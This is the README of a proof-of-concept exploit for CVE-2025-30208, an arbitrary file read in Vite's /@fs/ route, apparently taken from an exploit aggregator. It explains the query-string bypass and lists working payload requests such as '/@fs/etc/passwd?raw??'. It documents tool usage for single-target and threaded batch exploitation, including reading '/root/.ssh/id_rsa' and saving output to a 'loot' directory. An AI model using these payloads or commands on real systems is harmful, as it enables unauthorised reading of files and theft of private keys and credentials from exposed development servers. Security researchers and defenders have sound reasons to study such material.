## https://sploitus.com/exploit?id=9B34EA07-2C48-5FED-9507-5FB9FC1B4C42
# CVE-2025-30208
A PoC of the exploit script for the **Arbitrary File Read** vulnerability of Vite `/@fs/` **Path Traversal** in `transformMiddleware` (CVE-2025-30208). Detailed analysis can be refer to this [post](https://4xura.com/web/vite-arbitrary-file-read-via-improper-query-sanitization-in-fs-route-cve-2025-30208/).
Vulnerable in versions **prior to**:
- 6.2.3
- 6.1.2
- 6.0.12
- 5.4.15
- 4.5.10
## Overview
Vite is a popular open-source project which can be sourced from [Github](https://github.com/vitejs/vite) and its [official website](https://vite.dev/). It uses a special prefix, **`@fs`**, to allow direct access to **absolute file paths** in development mode:
```http
GET /@fs/<absolute/path/to/file>
```
But **to prevent abuse**, Vite **limits** what can be accessed through `@fs` using a configuration like:
```ts
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
```
So in theory, files **outside** the allowed directory (like `/etc/passwd`) should be **blocked** โ even if someone tries using tricks like `../../../`.
**However**, the flaw lies in how **Vite parses and checks URLs** (via `transformMiddleware` middleware/function). The middleware/function uses `ensureServingAccess(url, ...)` to check if a file request via `/@fs/` was allowed.
However, an attacker could craft request with **trailing query separators** in the URL like:
```
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
```
These forms would **bypass the regular expression filters** (`rawRE`, `urlRE`) and security checks due to the malformed query string still matching the route logic. Whatโs happening:
1. The path is `/@fs/../../../etc/passwd`
2. The query string is `raw??` (malformed on purpose)
3. Internally, Vite tries to **strip or normalize** trailing characters like `?`, and it does this **before** checking if the file path is allowed.
4. However, the check **fails to correctly parse and match the query string**, so the allowlist logic doesn't apply.
This means:
- The request bypasses the `server.fs.allow` check.
- Vite treats it as a valid file access request.
- And it reads and returns arbitrary files like `/etc/passwd`, if existed.
-----
## PoC Usage
### Basic usage
```bash
python3 poc.py [OPTIONS]
```
### Options
| Flag / Option | Description |
| ----------------- | ------------------------------------------------------------ |
| `-u`, `--url` | Single target URL (e.g. `example.com:5173`) |
| `-f`, `--file` | File with list of targets (one URL per line) |
| `-p`, `--path` | Filesystem path to read (default: `/etc/passwd`) |
| `-b`, `--bypass` | Query string to bypass route validation (default: `?raw??`) |
| `--proxy` | Proxy URL (e.g. `http://127.0.0.1:8080`) |
| `-o`, `--output` | Output directory for saving exploitation results (default: `results`) |
| `-t`, `--threads` | Number of threads for batch mode (default: `10`) |
| `-h`, `--help` | Show help message and exit |
### Examples
Single target exploitation:
```bash
python3 cve-2025-30208.py -u example.com:5173
```
Single target with custom LFI path to leak the file we want:
```bash
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
```
Batch exploitation with multiple targets:
```bash
python3 cve-2025-30208.py -f targets.txt
```
Custom bypass query:
```bash
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
```
Using a proxy (e.g. Burp Suite):
```bash
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
```
Custom output directory:
```bash
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
```
Increase thread count in batch mode:
```bash
python3 cve-2025-30208.py -f targets.txt -t 50
```